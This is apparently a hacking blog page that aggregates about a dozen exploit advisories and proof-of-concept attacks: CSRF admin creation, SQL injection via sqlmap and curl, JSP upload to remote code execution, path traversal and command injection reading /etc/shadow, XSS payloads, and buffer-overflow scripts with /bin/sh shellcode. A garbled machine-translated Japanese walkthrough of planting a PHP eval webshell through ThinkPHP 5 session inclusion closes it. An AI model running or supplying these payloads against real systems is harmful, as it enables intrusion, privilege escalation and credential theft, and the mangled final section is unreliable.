Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863149279

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    Opendocman 1.3.4
Fixed in:            1.3.5
Fixed Version Link:  http://www.opendocman.com/free-download/
Vendor Website:      http://www.opendocman.com/
Vulnerability Type:  CSRF
Remote Exploitable:  Yes
Reported to vendor:  11/21/2015
Disclosed to public: 02/01/2016
Release mode:        Coordinated Release
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

CVSS

Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P

Description

Opendocman does not have CSRF protection, which means that an attacker can
perform actions for an admin, if the admin visits an attacker controlled
website while logged in.

3. Proof of Concept

Add new Admin User:

    <html>
      <body>
        <form action="http://localhost/opendocman-1.3.4/user.php" method="POST" enctype="multipart/form-data">
          <input type="hidden" name="last&#95;name" value="test" />
          <input type="hidden" name="first&#95;name" value="test" />
          <input type="hidden" name="username" value="test" />
          <input type="hidden" name="phonenumber" value="1214532" />
          <input type="hidden" name="password" value="12345678" />
          <input type="hidden" name="Email" value="test&#64;example&#46;com" />
          <input type="hidden" name="department" value="1" />
          <input type="hidden" name="admin" value="1" />
          <input type="hidden" name="can&#95;add" value="1" />
          <input type="hidden" name="can&#95;checkin" value="1" />
          <input type="hidden" name="submit" value="Add&#32;User" />
          <input type="submit" value="Submit request" />
        </form>
      </body>
    </html>


4. Solution

To mitigate this issue please upgrade at least to version 1.3.5:

http://www.opendocman.com/free-download/

Please note that a newer version might already be available.

5. Report Timeline

11/21/2015 Informed Vendor about Issue (no reply)
12/10/2015 Reminded Vendor of disclosure date
12/19/2015 Vendor sends fix for CSRF for verification
01/13/2016 Confirmed CSRF fix
01/20/2016 Vendor requests more time to fix other issues in same version
01/31/2016 Vendor releases fix
02/01/2015 Disclosed to public


Blog Reference:
https://blog.curesec.com/article/blog/Opendocman-134-CSRF-150.html
 
--
blog:  https://blog.curesec.com
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Romain-Rolland-Str 14-24
13089 Berlin, Germany
            
=============================================
MGC ALERT 2016-001
- Original release date: January 26, 2016
- Last revised:  February 02, 2016
- Discovered by: Manuel García Cárdenas
- Severity: 7,1/10 (CVSS Base Score)
=============================================

I. VULNERABILITY
-------------------------
Time-based SQL Injection in Admin panel UliCMS <= v9.8.1

II. BACKGROUND
-------------------------
UliCMS is a modern web content management solution from Germany, that
attempts to make web content management more easier.

III. DESCRIPTION
-------------------------
This bug was found using the portal with authentication as administrator.
To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.

It is possible to inject SQL code in the variable "country_blacklist" on
the page "action=spam_filter".

IV. PROOF OF CONCEPT
-------------------------
The following URL's and parameters have been confirmed to all suffer from
Time Based Blind SQL injection.

/ulicms/admin/?action=spam_filter

(POST)
spamfilter_enabled=yes&spamfilter_words_blacklist=a&country_blacklist=ru&submit_spamfilter_settings=Save+Changes

POC using SQLMap:

sqlmap -u "http://127.0.0.1/ulicms/admin/?action=spam_filter" --cookie="SET
COOKIE HERE"
--data="spamfilter_enabled=yes&spamfilter_words_blacklist=a&country_blacklist=ru&submit_spamfilter_settings=Save+Changes"
-p "country_blacklist" --dbms="mysql" --dbs

V. BUSINESS IMPACT
-------------------------
Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
-------------------------
UliCMS <= v9.8.1

VII. SOLUTION
-------------------------
Install vendor patch.

VIII. REFERENCES
-------------------------
http://en.ulicms.de/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
January 26, 2016 1: Initial release
February 02, 2015 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
January 26, 2016 1: Vulnerability acquired by Manuel Garcia Cardenas
January 26, 2016 2: Send to vendor
January 28, 2016 3: Vendor fix vulnerability
February 02, 2016 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester
            
>> Remote code execution / arbitrary file download in NETGEAR ProSafe Network Management System NMS300
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security (http://www.agileinfosec.co.uk/)
==========================================================================
Disclosure: 04/02/2016 / Last updated: 04/02/2016


>> Background on the affected product:
"NMS300
ProSAFE® Network Management System
Diagnose, control, and optimize your network devices.

The NETGEAR Management System NMS300 delivers insight into network elements, including third-party devices. An intuitive, web-based user interface makes it easier to monitor and administer an entire network."


>> Summary:
Netgear's NMS300 is a network management utility that runs on Windows systems. It has serious two vulnerabilities that can be exploited by a remote attacker. The first one is an arbitrary file upload vulnerability that allows an unauthenticated attacker to execute Java code as the SYSTEM user.
The second vulnerability is an arbitrary file download that allows an authenticated user to download any file from the host that is running NMS300.

A special thanks to Joel Land of CERT/CC for helping disclose this vulnerability under ID 777024 [1]. Two new Metasploit modules that exploit these vulnerabilities have been released.


>> Technical details:
#1
Vulnerability: Remote code execution via arbitrary file upload (unauthenticated)
CVE-2016-1525
Affected versions:
NMS300 1.5.0.11
NMS300 1.5.0.2
NMS300 1.4.0.17
NMS300 1.1.0.13

There are two servlets that allow unauthenticated file uploads:
@RequestMapping({ "/fileUpload.do" })
public class FileUpload2Controller
- Uses spring file upload

@RequestMapping({ "/lib-1.0/external/flash/fileUpload.do" })
public class FileUploadController
- Uses flash upload

The JSP file can be uploaded as shown below, it will be named null[name].[extension] and can be reached on http://[host]:8080/null[name].[extension].
So for example if [name] = "testing" and [extension] = ".jsp", the final file will be named "nulltesting.jsp". [name] and [extension] can be seen in the sample request below. The code will execute as the SYSTEM user.

POST /lib-1.0/external/flash/fileUpload.do HTTP/1.1
Content-Type: multipart/form-data; boundary=----------ae0KM7Ef1ei4GI3gL6gL6gL6gL6GI3

------------ae0KM7Ef1ei4GI3gL6gL6gL6gL6GI3
Content-Disposition: form-data; name="name"

[name]
------------ae0KM7Ef1ei4GI3gL6gL6gL6gL6GI3
Content-Disposition: form-data; name="Filedata"; filename="whatever.[extension]"
Content-Type: application/octet-stream

<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
pageEncoding="ISO-8859-1"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>Hello World Example</title>
</head>
<body>
<h2>A Hello World Example of JSP.</h2>
</body>
</html>
------------ae0KM7Ef1ei4GI3gL6gL6gL6gL6GI3--


#2
Vulnerability: Arbitrary file download (authenticated)
CVE-2016-1524
Affected versions:
NMS300 1.5.0.11
NMS300 1.5.0.2
NMS300 1.4.0.17
NMS300 1.1.0.13

Three steps need to be taken in order to exploit this vulnerability:
a) Add a configuration image, with the realName parameter containing the path traversal to the target file:
POST /data/config/image.do?method=add HTTP/1.1
realName=../../../../../../../../../../<file on C:\>&md5=&fileName=<imagename.img>&version=1337&vendor=Netgear&deviceType=4&deviceModel=FS526Tv2&description=bla

b) Obtain the file identifier (imageId) for the image that was created by scraping the page below for "imagename.img" (the fileName parameter in step 1):
POST /data/getPage.do?method=getPageList&type=configImgManager
everyPage=10000

Sample response:
{"page":{"beginIndex":0,"recordCount":7,"totalRecords":7,"currentPage":1,"everyPage":10,"totalPage":1},"list":[{"imageId":"1","fileName":"agga5.img","createTime":"10/03/2015 21:12:36","realFileName":"../../../../../../../../../../log.txt","vendor":"Netgear","deviceType":"4","deviceModel":"FS526Tv2","version":"2323","sizeM":"24491","createBy":"admin","createId":"1","description":"bla\r\n"}

c) Download the file with the imageId obtained in step 2:
GET /data/config/image.do?method=export&imageId=<ID>


>> Fix: 
No fix is currently available. It is recommended not to expose NMS300 to the Internet or any unstrusted networks.


>> References:
[1] https://www.kb.cert.org/vuls/id/777024


================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
            
* Exploit Title: WordPress User Meta Manager Plugin [Privilege Escalation]
* Discovery Date: 2015/12/28
* Public Disclosure Date: 2016/02/04
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: http://jasonlau.biz/home/
* Software Link: https://wordpress.org/plugins/user-meta-manager/
* Version: 3.4.6
* Tested on: WordPress 4.4.1
* Category: webapps

Description
================================================================================

User Meta Manager for WordPress plugin up to v3.4.6 suffers from a privilege 
escalation vulnerability. A registered user can modify the meta information of 
any registered user, including himself. This way he can modify `wp_capabilities`
meta to escalate his account to a full privileged administrative account.

PoC
================================================================================


curl -c ${USER_COOKIES} \
     -d "mode=edit&umm_meta_value[]=a:1:{s:13:\"administrator\";b:1;}\
     &umm_meta_key[]=wp_capabilities" \
    "http://${VULN_SITE}/wp-admin/admin-ajax.php\?action=umm_switch_action\
    &umm_sub_action=umm_update_user_meta&umm_user=${USER_ID}"


Timeline
================================================================================

2015/12/28 - Discovered
2015/12/29 - Vendor notified via support forums in WordPress.org
2015/12/29 - Vendor notified via contact form in his site
2016/01/29 - WordPress security team notified about the issue
2016/02/02 - Vendor released version 3.4.7
2016/02/02 - Verified that this exploit no longer applies in version 3.4.7

Solution
================================================================================
  
No official solution yet exists.
            
* Exploit Title: WordPress User Meta Manager Plugin [Blind SQLI]
* Discovery Date: 2015/12/28
* Public Disclosure Date: 2016/02/04
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: http://jasonlau.biz/home/
* Software Link: https://wordpress.org/plugins/user-meta-manager/
* Version: 3.4.6
* Tested on: WordPress 4.4.1
* Category: webapps

Description
================================================================================

AJAX actions `umm_edit_user_meta` and `umm_delete_user_meta` of the User Meta 
Manager for WordPress plugin up to v3.4.6 are vulnerable to blind SQL injection
attacks. A registered user can pass arbitrary MySQL commands to `umm_user` GET 
param.

PoC
================================================================================


curl -c ${USER_COOKIES} \
    "http://${VULN_SITE}/wp-admin/admin-ajax.php\?action=umm_switch_action\
    &umm_sub_action=[umm_delete_user_meta|umm_edit_user_meta]&umm_user=SLEEP(5)"


Timeline
================================================================================

2015/12/28 - Discovered
2015/12/29 - Vendor notified via support forums in WordPress.org
2015/12/29 - Vendor notified via contact form in his site
2016/01/29 - WordPress security team notified about the issue
2016/02/02 - Vendor released version 3.4.7
2016/02/02 - Verified that this exploit no longer applies in version 3.4.7

Solution
================================================================================
  
Update to version 3.4.7
            
# Exploit Title: [DLink DVG­N5402SP Multiple Vulnerabilities]
# Discovered by: Karn Ganeshen
# Vendor Homepage: [www.dlink.com/]
# Versions Reported: [Multiple - See below]
# CVE-IDs: [CVE-2015-7245 + CVE-2015-7246 + CVE-2015-7247]


*DLink DVG­N5402SP File Path Traversal, Weak Credentials Management, and
Sensitive Info Leakage Vulnerabilities*
*Vulnerable Models, Firmware, Hardware versions*
DVG­N5402SP Web Management
Model Name : GPN2.4P21­C­CN
Firmware Version : W1000CN­00
Firmware Version :W1000CN­03
Firmware Version :W2000EN­00
Hardware Platform :ZS
Hardware Version :Gpn2.4P21­C_WIFI­V0.05

Device can be managed through three users:
1. super ­ full privileges
2. admin ­ full privileges
3. support ­ restricted user

*1. Path traversal*
Arbitrary files can be read off of the device file system. No
authentication is required to exploit this vulnerability.
*CVE-ID*: CVE-2015-7245

*HTTP Request *

POST /cgi­bin/webproc HTTP/1.1
Host: <IP>:8080
User­Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101
Firefox/39.0 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept­Language: en­US,en;q=0.5
Accept­Encoding: gzip, deflate
Referer: http://<IP>:8080/cgi­bin/webproc
Cookie: sessionid=abcdefgh; language=en_us; sys_UserName=super
Connection: keep­alive
Content­Type: application/x­www­form­urlencoded
Content­Length: 223

getpage=html%2Findex.html&*errorpage*=../../../../../../../../../../../etc/shadow&var%3Amenu=setup&var%3Apage=connected&var%
&obj­action=auth&%3Ausername=blah&%3Apassword=blah&%3Aaction=login&%3Asessionid=abcdefgh

*HTTP Response*

HTTP/1.0 200 OK
pstVal­>name:getpage; pstVal­>value:html/main.html
pstVal­>name:getpage; pstVal­>value:html/index.html
pstVal­>name:errorpage;
pstVal­>value:../../../../../../../../../../../etc/shadow
pstVal­>name:var:menu; pstVal­>value:setup
pstVal­>name:var:page; pstVal­>value:connected
pstVal­>name:var:subpage; pstVal­>value:­
pstVal­>name:obj­action; pstVal­>value:auth
pstVal­>name::username; pstVal­>value:super
pstVal­>name::password; pstVal­>value:super
pstVal­>name::action; pstVal­>value:login
pstVal­>name::sessionid; pstVal­>value:1ac5da6b
Connection: close
Content­type: text/html
Pragma: no­cache
Cache­Control: no­cache
set­cookie: sessionid=1ac5da6b; expires=Fri, 31­Dec­9999 23:59:59 GMT;
path=/

#root:<hash_redacted>:13796:0:99999:7:::
root:<hash_redacted>:13796:0:99999:7:::
#tw:<hash_redacted>:13796:0:99999:7:::
#tw:<hash_redacted>:13796:0:99999:7:::


*2. Use of Default, Hard­Coded Credentials**CVE-ID*: CVE-2015-7246

The device has two system user accounts configured with default passwords
(root:root, tw:tw).
Login ­ tw ­ is not active though. Anyone could use the default password to
gain administrative control through the Telnet service of the system (when
enabled) leading to integrity, loss of confidentiality, or loss of
availability.

*3.Sensitive info leakage via device running configuration backup *
*CVE-ID*: CVE-2015-7247

Usernames, Passwords, keys, values and web account hashes (super & admin)
are stored in clear­text and not masked. It is noted that restricted
'support' user may also access this config backup file from the portal
directly, gather clear-text admin creds, and gain full, unauthorized access
to the device.
-- 
Best Regards,
Karn Ganeshen
ipositivesecurity.blogspot.in
            
# Exploit Title: [GE Industrial Solutions - UPS SNMP Adapter Command
Injection and Clear-text Storage of Sensitive Information Vulnerabilities]
# Discovered by: Karn Ganeshen
# Vendor Homepage: [http://www.geindustrial.com/]
# Versions Reported: [All SNMP/Web Interface cards with firmware version
prior to 4.8 manufactured by GE Industrial Solutions.]
# CVE-IDs: [CVE-2016-0861 + CVE-2016-0862]

*GE Advisory: *
http://apps.geindustrial.com/publibrary/checkout/GEIS_SNMP?TNR=Application%20and%20Technical|GEIS_SNMP|PDF&filename=GEIS_SNMP.pdf


*ICS-CERT Advisory:*https://ics-cert.us-cert.gov/advisories/ICSA-16-033-02

*About GE*

GE is a US-based company that maintains offices in several countries around
the world.

The affected product, SNMP/Web Interface adapter, is a web server designed
to present information about the Uninterruptible Power Supply (UPS).
According to GE, the SNMP/Web Interface is deployed across several sectors
including Critical Manufacturing and Energy. GE estimates that these
products are used worldwide.

*Affected Products*

• All SNMP/Web Interface cards with firmware version prior to 4.8
manufactured by GE Industrial Solutions.



*VULNERABILITY OVERVIEW*
A


*COMMAND INJECTIONCVE-2016-0861*
Device application services run as (root) privileged user, and does not
perform strict input validation. This allows an authenticated user to
execute any system commands on the system.

Vulnerable function:
http://IP/dig.asp <http://ip/dig.asp>

Vulnerable parameter:
Hostname/IP address


*PoC:*
In the Hostname/IP address input, enter:
; cat /etc/shadow

Output
root:<hash>:0:0:root:/root:/bin/sh
<...other system users...>
ge:<hash>:101:0:gedeups7:/home/admin:/bin/sh
root123:<hash>:102:0:gedeups2:/home/admin:/bin/sh

B


*CLEARTEXT STORAGE OF SENSITIVE INFORMATIONCVE-2016-0862*
File contains sensitive account information stored in cleartext. All users,
including non-admins, can view/access device's configuration, via Menu
option -> Save -> Settings.

The application stores all information in clear-text, including *all user
logins and clear-text passwords*.
-- 
Best Regards,
Karn Ganeshen
ipositivesecurity.blogspot.in
            
Vulnerability title: Multiple Instances Of Cross-site Scripting In Viprinet Multichannel VPN Router 300

CVE: CVE-2014-2045

Vendor: Viprinet

Product: Multichannel VPN Router 300

Affected version: 2013070830/2013080900

Fixed version: 	2014013131/2014020702
Reported by: Tim Brown
Details:

	The data supplied to both the `old’ and `new’ web applications (the device has two web based management interfaces) was permanently stored and could be retrieved later by other users. This is a normal feature of many applications, however, in this instance the application failed to restrict the type of data that could be stored and also failed to sanitise it, meaning that it could not be safely rendered by the browser.

	Stored cross-site scripting could be triggered by:

	
		Attempting to login with a username of `<script>alert(1)</script>’ (affects `old’ interface and results in post-authentication cross-site Scripting when a legitimate administrator views the realtime log)
		Creating an account with a username of `<script>alert(1)</script>’ (affects both `old’ and `new’ interfaces once created)
		Setting the device’s hostname to `<script>alert(1)</script>’  (affects `old’ interface once created)
	

	A number of locations were identified as being vulnerable to reflective attacks, including:


http://<host>/exec?module=config&sessionid=<sessionid>&inspect=%3Cscript%20src=http://localhost:9090%3E%3C/script%3E
http://<host>/exec?tool=atcommands&sessionid=<sessionid>&sourceobject=WANINTERFACELIST.OBJECT__0&module=configtools&commands=%3Cscript%3Ealert%281%29%3C%2Fscript%3E
http://<host>/exec?tool=ping&sessionid=<sessionid>&sourceobject=WANINTERFACELIST.OBJECT__0&module=configtools&host=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&pingcount=3&databytes=56


	The inclusion of session IDs in all URLs partially mitigates the reflective cross-site scripting but could itself be considered a vulnerability since it is included in referred headers and log files.

	These are simply some examples of how this attack might be performed, and the it is believed that both the `old’ and `new’ web applications are systemically vulnerable to this.
 

               
Further details at:

 https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2045/



Copyright:
Copyright (c) Portcullis Computer Security Limited 2015, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.
            
# Exploit Author: Juan Sacco - http://www.exploitpack.com -jsacco@exploitpack.com
# Program affected: yTree - File manager for terminals v1.94-1.1
# Description: yTree is prone to a stack-based overflow, an attacker could exploit 
# this issue to execute arbitrary code in the context of the application. 
# Failed exploit attempts will result in a denial-of-service condition.
#
# Tested and developed on:  Kali Linux 2.0 x86 - https://www.kali.org
#
# Program Description: This is a file manager that separates files from directories
# and allows you to select and manage files from different directories.  
# It works on black and white or color terminals and is UTF-8 locales aware.
# Vendor homepage: http://www.han.de/~werner/ytree.html
# Kali Linux 2.0 package: pool/main/y/ytree/ytree_1.94-1.1_i386.deb
# MD5sum: 7d55d9c7e8afb4405c149463613f596b
#
# Program received signal SIGSEGV, Segmentation fault.
# --------------------------------------------------------------------------[regs]
#   EAX: 0x41414141  EBX: 0xB7FB8000  ECX: 0x00000000  EDX: 0x08071342  o d I t s z a P c 
#   ESI: 0xBFFFF134  EDI: 0x41414141  EBP: 0x0806FC60  ESP: 0xBFFFDC50  EIP: 0xB7F888C1
#   CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
# --------------------------------------------------------------------------[code]
# => 0xb7f888c1 <werase+49>: mov    eax,DWORD PTR [eax+0x4c]
#    0xb7f888c4 <werase+52>: mov    DWORD PTR [esp+0x24],eax
#    0xb7f888c8 <werase+56>: mov    eax,DWORD PTR [edi+0x50]
#    0xb7f888cb <werase+59>: mov    DWORD PTR [esp+0x28],eax
#    0xb7f888cf <werase+63>: mov    eax,DWORD PTR [edi+0x54]
#    0xb7f888d2 <werase+66>: mov    DWORD PTR [esp+0x2c],eax
#    0xb7f888d6 <werase+70>: mov    eax,DWORD PTR [edi+0x58]
#    0xb7f888d9 <werase+73>: mov    DWORD PTR [esp+0x30],eax
# --------------------------------------------------------------------------------
# 0xb7f888c1 in werase () from /lib/i386-linux-gnu/libncursesw.so.5
# gdb$ backtrace 
# 0  0xb7f888c1 in werase () from /lib/i386-linux-gnu/libncursesw.so.5
# 1  0x08050f43 in ?? ()
# 2  0x08051182 in ?? ()
# 3  0x0805972f in ?? ()
# 4  0x0804a68a in ?? ()
# 5  0xb7d82a63 in __libc_start_main (main=0x804a560, argc=0x2, argv=0xbffff294, init=0x8064df0, fini=0x8064de0, rtld_fini=0xb7fedc90 <_dl_fini>, stack_end=0xbffff28c) at libc-start.c:287
# 6  0x0804a701 in ?? ()
 
import os,subprocess
def run():
  try:
    print "# yTree Buffer Overflow by Juan Sacco"
    print "# It's fuzzing time on unusable exploits"
    print "# This exploit is for educational purposes only"
    # JUNK + SHELLCODE + NOPS + EIP
 
    junk = "\x41"*65
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    nops = "\x90"*1200
    eip = "\xd0\xf6\xff\xbf"
    subprocess.call(["ytree",' ', junk + shellcode + nops + eip])
 
  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, yTree not found!"
    else:
        print "Error executing exploit"
    raise
 
def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)
 
if __name__ == '__main__':
  try:
    print "Exploit yTree v1.94-1.1 Local Overflow Exploit"
    print "Author: Juan Sacco"
  except IndexError:
    howtousage()
run()
            
'''
JiveForums <=5.5.25 Directory Traversal Vulnerability

Description
==========
Jive forums is a widely recognized network community. Its products have been used by global IT giants including IBM, HP, Oracle, Adobe, Cisco, Intel, Amazon, Emc, Mcafee, Rapid7, Fireeye, etc.
The version of JiveForums <=5.5.25 and < 4.0 are vulnerable to a directory traversal security issue, other versions may also be affected.

Details
=======
Product: JiveSoftware
Security-Risk: high
Remote-Exploit: yes
Vendor-URL: https://www.jivesoftware.com

Credits
============
Discovered by: Zhaohuan of Tencent Security
Site: http://security.tencent.com

Affected Products:
=================
Test on  JiveForums 5.5.25/5.5.20/5.5.7/3.2.10/2.6.2
maybe work <= 5.5.25

Exploit:
============
'''

#!/usr/bin/python
# Author: Zhaohuan || http://weibo.com/hackyou
# Google Dork: inurl:servlet/JiveServlet
# Tested on JiveForums 5.5.25/5.5.20/5.5.7/3.2.10/2.6.2
#
# Software Link: https://www.jivesoftware.com

import urllib2
import sys

print "JiveForums <=5.5.25 Directory Traversal Exploit"

if len(sys.argv) != 3:
    print "[-] Trying exploit on : <site> <path>"
    print "[*] Usage: %s http://localhost /jiveforums/" % sys.argv[0]
    sys.exit()

payload = 'servlet/JiveServlet?attachImage=true&attachment=/.././.././.././.././.././.././.././../etc/./passwd%00&contentType=image%2Fpjpeg'
print "[+] Trying to request :"+sys.argv[1]+sys.argv[2]+payload
response=urllib2.urlopen(sys.argv[1]+sys.argv[2]+payload)
readvul=response.read()
print readvul


'''
Solution:
============
Update to jiveforums 5.5.30 or the latest version.

More Information:
https://www.jivesoftware.com/services-support/
'''
            
#############################
Exploit Title : Timeclock-software - Multiple SQL injections
Author:Marcela Benetrix
Date: 01/27/2016
version: 0.995 (older version may be vulnerable too)
software link:http://timeclock-software.net

#############################
Timeclock software

Timeclock-software.net's free software product will be a simple solution to
allow your employees to record their time in one central location for easy
access.

##########################
SQL Injection Location

1. http://server/login.php
username and password were vulnerable to time-based blind sql injection
type.

Moreover, once logged into the app; the following URLs were found to be
vulnerable too:

2. http://server/view_data.php?period_id
3. http://server/edit_type.php?type_id=
4. http://server/edit_user.php?user_id=
5. http://server/edit_entry.php?time_id=

All of them are vulnerable to Union query and time-based blind.


##########################
Vendor Notification
01/27/2016 to: the developers. They replied immediately and fixed the
problem in a new release
002/03/2016: Disclosure
            
#!/usr/bin/env python
#
#
# Baumer VeriSens Application Suite 2.6.2 Buffer Overflow Vulnerability
#
#
# Vendor: Baumer Holding AG | Baumer Optronic GmbH
# Product web page: http://www.baumer.com
# Software link: http://www.baumer.com/us-en/products/identification-image-processing/software-and-starter-kits/verisens-application-suite/
# Affected version: 2.6.2 (ID-CS-XF-XC)
#
# Summary: The Baumer Application Suite is the intuitive configuration
# software for VeriSens vision sensors, which makes it quick and simple
# for even new users to implement image processing tasks. Starting with
# the creation of test tasks through to the management of jobs, the program
# will take you through just a few steps to reach your goal.
#
# Desc: The vulnerability is caused due to a boundary error in baselibs.dll
# library when processing device job file, which can be exploited to cause
# a buffer overflow when a user opens e.g. a specially crafted .APP file.
# Successful exploitation could allow execution of arbitrary code on the
# affected machine.
#
# -------------------------------------------------------------------------
# (78c.cb0): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# Exported symbols for C:\Program Files (x86)\Baumer\VeriSens Application Suite v2.6.2\AppSuite\baselibs.dll - 
# eax=4d81ab45 ebx=4d81ab45 ecx=41414141 edx=41414141 esi=4d81ab45 edi=0c17e010
# eip=56bc4186 esp=0040a020 ebp=0040a020 iopl=0         nv up ei pl nz na po nc
# cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202
# baselibs!b_Int_restore+0x6:
# 56bc4186 8b00            mov     eax,dword ptr [eax]  ds:002b:4d81ab45=????????
# 0:000> u
# baselibs!b_Int_restore+0x6:
# 56bc4186 8b00            mov     eax,dword ptr [eax]
# 56bc4188 8bc8            mov     ecx,eax
# 56bc418a 8bd0            mov     edx,eax
# 56bc418c c1ea18          shr     edx,18h
# 56bc418f c1f908          sar     ecx,8
# 56bc4192 81e100ff0000    and     ecx,0FF00h
# 56bc4198 0bca            or      ecx,edx
# 56bc419a 8bd0            mov     edx,eax
# 0:000> dds
# 56bc6b86  00107d80
# 56bc6b8a  8b117457
# 56bc6b8e  f0e181cb
# 56bc6b92  e8000000
# 56bc6b96  fffff9e6
# 56bc6b9a  02ebf88b
# 56bc6b9e  ff85fa8b
# 56bc6ba6  68000001
# 56bc6baa  56c2afa4 baselibs!VsInfoFeed::Listener::`vftable'+0xb154
# 56bc6bae  3f8ce857
# 56bc6bb2  c483ffff
# 56bc6bb6  75c0850c USER32!SetKeyboardState+0x705a
# 56bc6bba  325b5f07
# -------------------------------------------------------------------------
#
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
#            Microsoft Windows 7 Ultimate SP1 (EN)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2016-5303
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5303.php
#
#
# 14.11.2015
#

header = ("\x00\x00\x00\x01\x00\x00\x00\x04\x95\xCF\x82\xF6\x00\x00\x00"
          "\x01\x00\x00\x00\x04\x00\x00\x00\x2B\x00\x00\x00\x50\x00\x00"
          " \x00\x05\x43\x6F\x64\x65\x00\x00\x00\x00\x50\x00\x00\x00\x01"
          "\x00\x00\x00\x00\x50\x00\x00\x00") #\x0F

buffer = "\x41" * 6719 + "\x42\x42\x42\x42"
 
f = open ("exploit.app", "w")
f.write(header + buffer +'\x0F')
f.close()
print "File exploit.app created!\n"

#
# PoC: http://www.zeroscience.mk/codes/bvas-5303.app.zip
#          https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39403.zip
#
            

最近、詐欺ギャング1049983-20211227103702326-233361545.pngを調査するタスクを受け取りました

上記の登録インターフェイスがあります。最初にユーザーを直接登録して、彼らがどのように不正行為をしたかを確認できます。1049983-20211227103703110-1655912104.png 1049983-20211227103704074-1851847470.png

良い男、ユーザーは8億元を獲得し、充電したユーザーは自分自身を専門家と呼びます。

一見、この種のサイトは、詐欺ギャングの豚を殺すディスクです。 TP5フレームワークを使用して、ワンクリックで構築します。これは便利でトラブルがありません。その後、エラーメッセージによると、TP5.0.10のフレームワークは実際にデバッグモードであり、それは豚を殺すゲームでした。1049983-20211227103704858-1143855449.png

tp5rceを使用して、最初にphpinfoと入力してください

S=Captcha

_method=__ constructmethod=getFilter []=call_user_funcget []=phpinfo 1049983-20211227103705633-1521946100.png

多くの禁止機能があるようです。現時点では、TP5 RCEとセッションでシェルを書くことがより困難です。 TP5ログの包含とセッションインクルージョンをGootshellに使用するのは非常に便利です。

ログ内にファイルを見つける必要があります。セッションを直接GOTSHELLに含めます。

まず、セッションセッションを設定し、テンテンテントロイの木馬に渡す

?s=captcha

_method=__ constructfilter []=think \ session3:setmethod=getGet []=?php eval($ _ post ['x'])?server []=1 1049983-20211227103706192-1269749532.png

次に、ファイルを直接使用してセッションファイルを含めます。 TP5のセッションファイルは通常/TMP未満で、ファイル名はsession_sessionidです

?s=captcha

_method=__ constructmethod=getFilter []=Think \ __ include_fileserver []=phpinfoget []=/tmp/sess_0mg7tlcvtmpv06cb732j47chb3x=phpinfo();1049983-20211227103706698-1418160615.png

この時点で、私たちはアリの剣を介してシェルに接続することができます

Ant Sword 1049983-20211227103707160-1650808676.pngで接続されたHTTPボディに投稿に渡されたパラメーターを追加する必要があります

接続後、config 1049983-20211227103707597-723619312.pngの下でデータベース.phpを見つけてデータベースパスワードアカウントを見つけます

財務および技術的な連絡先情報もあります1049983-20211227103708040-1118353427.png

バックグラウンド1049983-20211227103708485-369596453.pngに直接ログインします

いい男、30人のメンバーと400を超えるロボットがいます。金額はバックグラウンドで自由に変更できます。いじめが多すぎます。1049983-20211227103708913-1964134681.png

私はいつも、ここに電話した後、情報が少し小さすぎると感じています。詐欺ギャングが支払いを集めるために使用される携帯電話番号と銀行カードはわずかです。そこで、操作サイトで情報を収集しました。カスタマーサービスサイトは他のサーバー上にあることが判明しました。1049983-20211227103709361-1280484632.png

1049983-20211227103710157-1775869194.pngのディレクトリスキャンを介してカスタマーサービスの背景を見つけます

